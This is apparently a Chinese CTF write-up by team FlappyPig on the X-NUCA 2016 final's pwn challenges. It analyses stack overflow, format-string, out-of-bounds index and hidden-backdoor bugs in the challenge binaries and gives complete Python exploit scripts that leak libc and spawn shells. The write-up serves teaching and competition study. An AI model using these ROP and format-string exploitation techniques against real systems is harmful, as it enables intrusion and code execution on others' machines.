当前位置:安全客 >> CTF知识详情

【CTF攻略】全国高校网安联赛-决赛 X-NUCA 2016 PWN Writeup

2017-01-04 14:12:00 来源:安全客 作者:FlappyPig
阅读:19681次 点赞(0) 收藏


http://p6.qhimg.com/t013d7b6925a1f65ec3.jpg

作者:FlappyPig

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言


上周参加了xnuca final的决赛(官网链接:http://xnuca.erangelab.com/,做了几个pwn题,整理如下。


1. heap overflow?


这是个人赛的第一个pwn题,题目说明如下:

http://p8.qhimg.com/t015ac7e45e64e224dc.png

漏洞:

分析程序,最开始感觉可能是一个堆的问题,不过最后发现一个明显的栈溢出。

http://p0.qhimg.com/t01801b27ec75991ef8.png

利用:

因为是简单栈溢出,利用方式比较简单,首先通过puts函数泄露出一个got中的函数地址,得到lib库的加载地址,然后返回到main,再次触发栈溢出。第二次栈溢出直接执行system("/bin/sh")

from threading import Thread
from zio import *
target = './pwn_zy'
def add(io, name, password, level, secret):
    io.read_until('option:')
    io.writeline('1')
    io.read_until(':')
    io.writeline(name)
    io.read_until(':')
    io.writeline(password)
    io.read_until(':')
    io.writeline(str(level))
    io.read_until(':')
    io.writeline(secret)
def edit(io, name, password, level, secret, payload):
    io.read_until('option:')
    io.writeline('4')
    io.read_until(':')
    io.writeline(name)
    io.read_until(':')
    io.writeline(password)
    io.read_until(':')
    io.writeline(str(level))
    io.read_until(':')
    io.writeline(secret)
    io.read_until('y/n')
    io.writeline(payload)
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    puts_plt = 0x080484F0
    puts_got = 0x0804B020
    main= 0x08048A8F
    payload = 'a'*(0x7a+4) + l32(puts_plt) + l32(main) + l32(puts_got)
    add(io, '123', '456', 1, '789')
    edit(io, '123', '456', 1, '789', payload)
    io.read_until('recorded!\n')
    puts = l32(io.read(4))
    #remote
    base = puts - 0x0005F140
    system = base + 0x0003A940
    binsh = base + 0x00158E8B
    payload = 'a'*(0x7a+4) + l32(system) + l32(main) + l32(binsh)
    add(io, '123', '456', 1, '789')
    edit(io, '123', '456', 1, '789', payload)
    io.interact()
exp(target)


2. ai


这是个人赛的第2个pwn,题目说明如下

http://p2.qhimg.com/t016cffb16cbbe3ccd6.png

漏洞:

也比较明显,scanf处存在栈溢出

http://p3.qhimg.com/t01606222946ddd9d5c.png

利用:

这里有栈canary保护,所以不能覆盖到返回值。但是可以覆盖局部变量i、j、k等值。当覆盖j之后,可以通过函数指针 (\*(&patterns + j))改变程序的执行流程,同时可以控制第一个参数和第二个参数.如果控制得当,可以多次执行到该函数指针。

http://p1.qhimg.com/t01068cca2b96715ce0.png

利用思路如下:

1. printf(scanf_got)泄露出scanf_got,得到libc加载地址。

2. scanf("%s", 0x601f00) 将system的地址写入到0x601f00中。

3. system("sh")

from zio import *
target = './ai'
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    scanf_got = 0x601048
    sss = 0x0000000000400AF3 #%s
    sh = 0x4003d7 #sh
    payload = ']'+str(scanf_got)+'  # 1 = 2 ;'
    payload2 = ']'+str(sss)+'  # '+str(0x601f00)+' = 0 ;'
    payload3 = ']'+str(sh)+'  # 1 = 2 ;'
    for i in range(10):
        if i == 1:
            io.writeline(payload2)
        elif i == 2:
            io.writeline(payload3)
        else:
            io.writeline(payload)
    payload = '1234'+'1234'+l32(0xfffffffff)+l32(0xfffffff4)
    io.writeline(payload)
    io.read_until('875770417')
    print_addr = l64(io.read(6)+'\x00\x00')
    base = print_addr - 0x000000000006A790
    system = base + 0x0000000000045380
exp(target)


3. ww


这是团体赛的一个pwn,存在多个漏洞。

格式化:

在execute shell功能中存在格式化漏洞。

http://p5.qhimg.com/t01e8432fd9f295e8da.png

利用比较简单

from zio import *
target = './ww'
def add(io, length, cmd):
    io.read_until('Exit\n')
    io.writeline('1')
    io.read_until(':')
    io.writeline(str(length))
    io.read_until(':')
    io.writeline(cmd)
def execute(io, id):
    io.read_until('Exit\n')
    io.writeline('3')
    io.read_until(':')
    io.writeline(id)
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    malloc_got = 0x0000000000603068
    add(io, 100, '%11$s')
    payload = '0;'
    payload = payload.ljust(8, 'a')
    payload += l64(malloc_got)+'b'*8
    execute(io, payload)
    io.read_until('excute 0\n')
    malloc_addr = l64(io.read_until('Wel')[:-3].ljust(8, '\x00'))
    base = malloc_addr-0x0000000000083580
    system = base + 0x0000000000045390
    strtol_got = 0x0000000000603050
    system_high = (system>>16)&0xffff
    system_low = system&0xffff
    if system_high > system_low:
        formst = '%%%dc%%11$hn%%%dc%%12$hn' %(system_low, system_high-system_low)
    else:
        formst = '%%%dc%%12$hn%%%dc%%11$hn' %(system_high, system_low-system_high)
    add(io, 100, formst)
    payload = '1;'
    payload = payload.ljust(8, 'a')
    payload += l64(strtol_got)+l64(strtol_got+2)
    execute(io, payload)
    io.read_until('Exit')
    io.writeline('2')
    io.writeline('sh;')
    io.interact()
exp(target)

id越界:

在edit和delete功能时,虽然检查了id的值,但是无效时,只是打印了invalid id,并没有退出或者返回,仍然可以越界读或者越界写。

http://p7.qhimg.com/t01d75b53164c3c4ea6.png

利用的话需要找到二级指针,最后在程序的代码段中找到了两个满足条件的。

http://p4.qhimg.com/t018da2942d9df29fc8.png

通过这两个二级指针,可以泄露和修改strtol和malloc__usable_size的got。

from zio import *
target = './ww'
def add(io, length, cmd):
    io.read_until('Exit\n')
    io.writeline('1')
    io.read_until(':')
    io.writeline(str(length))
    io.read_until(':')
    io.writeline(cmd)
def execute(io, id):
    io.read_until('Exit\n')
    io.writeline('3')
    io.read_until(':')
    io.writeline(id)
def edit(io, id, cmd):
    io.read_until('Exit\n')
    io.writeline('5')
    io.read_until(')')
    io.writeline(id)
    io.read_until(':')
    io.writeline(cmd)
def delete(io, id):
    io.read_until('Exit\n')
    io.writeline('2')
    io.read_until(')')
    io.writeline(id)
    io.read_until('content:\n')
    return l64(io.readline()[:-1].ljust(8, '\x00'))
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    io.gdb_hint()
    malloc_got = 0x0000000000603068
    add(io, 100, '%11$s')
    malloc_size = delete(io, '-131752')
    print hex(malloc_size)
    base = malloc_size - 0x00000000000844C0
    system = base + 0x0000000000045390
    print hex(base)
    edit(io, '-131746', l64(system))
    io.read_until('Exit')
    io.writeline('2')
    io.writeline('sh;')
    io.interact()
exp(target)

堆溢出:

在read_buff中,length为int,当length=0时,可以无限读入。

所以只要在new时指定长度为0,在edit时,就可以无限覆盖了。

因为这题没有free,利用的思路与hitcon 2016的一个题目类似.

参考链接 [CTF Pwn之创造奇迹的Top Chunk]

隐藏pwn:

这题最有意思的是还隐藏了一个功能。

为了找到这个隐藏的功能,我使用qira查看运行的所有指令,发现刚连接上没有进行任何交互,就运行了12万多条指令。但qira只会记录主模块中的指令,显然不会这么多。最后发现程序运行到.eh_frame节中,同时发现是从0x4007db跳转过去的。发现是对puts_plt做了修改,而这种修改在ida中不太可能看出来。

http://p0.qhimg.com/t013f8218890dd4b369.png

http://p1.qhimg.com/t01c20f26dd27f1da59.png

http://p0.qhimg.com/t01469096a07711d6f9.jpg

后面就是分析.eh_frame中的函数的功能。

简单的通过分析汇编,发现是进行了一个比较,如果比较成功,就会调用mprotect的系统调用修改页的属性,对代码进行解密。不过前面比较部分的算法通过汇编阅读有点吃力,因此想办法进行修复,使ida能够成功反编译。

地址0x402A63处是一个push rbp,感觉是一个函数的开始地址。根据堆栈平衡,找到了pop rbp,按理pop rbp之后应该是一个ret指令,因此这里进行patch,将pop rax修改为ret。然后在402A63处创建function,之后就能正常f5了。

http://p5.qhimg.com/t01afa860a053c12cdc.png

进行简单修正之后得到如下反编译代码

http://p8.qhimg.com/t01548b14b0a002c5f2.png

写了个脚本求解了一下,发现只有puts打印的字符串为THESEVIOLENTDELIGHTSHAVEVIOLENTENDS程序能满足这个比较。

base_str = 'HOOKEDBYYSYY'*3
cmp_str = 'AVSCIYJMJWLRKSZSKKUQFSTCCWCVIQUCLVQ'
d = {}
for i in range(26):
    for j in range(26):
        d[i*26+j] = (i+j)%26+65
flag = ''
for k in range(len(cmp_str)):
    hang = ord(base_str[k]) - 65
    for m in range(26):
        if d[hang*26+m] == ord(cmp_str[k]):
            flag += chr(m + 65)
print flag

在满足比较之后,程序会对0x401031处的2860个字节进行异或解密,然后跳转到401934。

在gdb中dump下解密后的0x401031处的数据,替换掉原来的之后,用ida打开,看到了隐藏的功能。

隐藏功能为生成一个迷宫,然后如果走出迷宫,就能进入到401658函数中,401658函数中存在后门和栈溢出。

http://p2.qhimg.com/t01c9ec74b6446f6016.png

from zio import *
def add(io, length, cmd):
    io.read_until('Exit\n')
    io.writeline('1')
    io.read_until(':')
    io.writeline(str(length))
    io.read_until(':')
    io.writeline(cmd)
def delete(io, id):
    io.read_until('Exit\n')
    io.writeline('2')
    io.read_until(')')
    io.writeline(str(id))
finalmg=[]
def dfs(x,y,mg):
    global finalmg
    if x==0 and y==1:
        print "ok"
        finalmg=mg
        return 1
    if x-1>=0 and mg[x-1][y]==".":
        mg[x][y]="^"
        if dfs(x-1,y,mg):
            return 1
        mg[x][y]="."
    if x+1<=42 and mg[x+1][y]==".":
        mg[x][y]="v"
        if dfs(x+1,y,mg):
            return 1
        mg[x][y]="."
    if y-1>=0 and mg[x][y-1]==".":
        mg[x][y]="<"
        if dfs(x,y-1,mg):
            return 1
        mg[x][y]="."
    if y+1<=42 and mg[x][y+1]==".":
        mg[x][y]=">"
        if dfs(x,y+1,mg):
            return 1
        mg[x][y]="."
    return 0
def solve_mg(mg):
    global finalmg
    finalmg=[]
    dfs(42,41,mg)
    for l in finalmg:
        print "".join(l)
    s=""
    for l in finalmg:
        for i in l:
            if i in "><^v":
                s+="\x02"
            else:
                s+="\x01"
    s=s[0]+"\x02"+s[2:]
    print s.encode("hex")
    return s
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    add(io, 123, 'THESEVIOLENTDELIGHTSHAVEVIOLENTENDS')
    delete(io, 0)
    io.read_until('back...\n')
    d = io.read(0x2b*0x2b).encode('hex')
    mg=[]
    for i in range(0x2b):
        line=d[0x2b*2*i:0x2b*2*(i+1)]
        print line
        l=[]
        for j in range(0,len(line),2):
            if line[j:j+2]=="01":
                l.append("#")
            else:
                l.append(".")
        mg.append(l)
    s=solve_mg(mg)
    print repr(s)
    io.write(s)
    io.read_until('Dolores')
    io.writeline('I\'m in a dream.')
    io.read_until('Do')
    io.writeline('It was you...talking to me...guiding me.So I followed you.At last,I arrived here.')
    io.interact()
target = './ww'
exp(target)


4. wow


程序逻辑较为复杂,主要用到了几个定义的结构题,最后还原得结构体大致如下:

http://p7.qhimg.com/t01619dc14b57c4a821.png

漏洞:

在wolf的虚表中存在一个函数存在格式化漏洞。

http://p0.qhimg.com/t01e15913eb22b874ca.png

经过分析,发现当己方的wolf打败了对方的怪兽后,就会执行到这个格式化漏洞函数。

手动玩了会游戏,能够至少进行3次格式化。因此格式化的name字符串长度有限,基本只能同时更改两个2字节,一共4字节。

所以第一个格式化,进行信息泄露。

后面两个进行改写,将一个指针修改为call_execve的函数地址。

因为got不可改写,所以选择修改的指针为exit_game的函数指针,位于主程序的0x208170地址处。

完整的利用脚本如下:

import operator
from zio import *
target = './wow'
def newwarrior(io, type, name):
    io.read_until('$')
    io.writeline('newwarrior')
    io.writeline(str(type))
    io.writeline(name)
def advance(io):
    io.read_until('$')
    io.writeline('advance')
def attack(io):
    io.read_until('$')
    io.writeline('attack')
def attack2(io, payload):
    io.read_until('$')
    io.writeline(payload)
def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \
             print_write=COLORED(RAW, 'green'))
    newwarrior(io, 4, '***%49$p***%11$p***%10$p***')
    for i in range(4):
        advance(io)
    attack(io)
    io.gdb_hint()
    attack(io)
    io.read_until('***')
    libc_base = int(io.read_until('***')[:-3], 16) - 0x0000000000020830
    main_base = int(io.read_until('***')[:-3], 16) - 0x2069
    stack = int(io.read_until('***')[:-3], 16)
    io.writeline('lalala')
    call_execve = 0x000000000004526A + libc_base
    exit_fun = main_base + 0x0000000000208170
    write = {}
    write[0] = (call_execve >> 16) & 0xffff
    write[1] = call_execve&0xffff
    #write[2] = system_hh
    printed = 0
    payload = ''
    for where, what in sorted(write.items(), key=operator.itemgetter(1)):
        delta = (what - printed) & 0xffff
        if delta > 0:
            if delta < 8:
                payload += 'A' * delta
            else:
                payload += '%' + str(delta) + 'x'
        payload += '%' + str(43 + where) + '$hn'
        printed += delta
    newwarrior(io, 4, payload)
    for i in range(2):
        advance(io)
    for i in range(4):
        attack(io)
    write = {}
    write[0] = (call_execve>> 32) & 0xffff
    printed = 0
    payload = ''
    for where, what in sorted(write.items(), key=operator.itemgetter(1)):
        delta = (what - printed) & 0xffff
        if delta > 0:
            if delta < 8:
                payload += 'A' * delta
            else:
                payload += '%' + str(delta) + 'x'
        payload += '%' + str(43 + where) + '$hn'
        printed += delta
    newwarrior(io, 4, payload)
    for i in range(3):
        advance(io)
    attack(io)
    payload = 'attack\x00\x00'+l64(exit_fun)+l64(exit_fun+2)
    io.gdb_hint()
    attack2(io, payload)
    io.writeline('lalal')
    advance(io)
    advance(io)
    advance(io)
    newwarrior(io, 4, 'lll')
    advance(io)
    for i in range(2):
        attack(io)
    payload = 'attack\x00\x00'+l64(exit_fun+4)
    attack2(io, payload)
    io.read_until('your blue enemy')
    io.writeline('sh')
    io.read_until('$')
    io.writeline('exit')
    io.interact()
exp(target)


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/ctf/learning/183.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
谁?菜爆了 2017-01-07 19:18:03
回复 |  点赞

FP大佬啊

我不是黑客 2017-01-05 10:13:01
回复 |  点赞

x怒擦比赛名不虚传啊Orz\

你全家都是黑客 2017-01-04 17:06:45
回复 |  点赞

膜拜ling博士

大表姐 2017-01-04 16:10:58
回复 |  点赞

ling博士呀

查看更多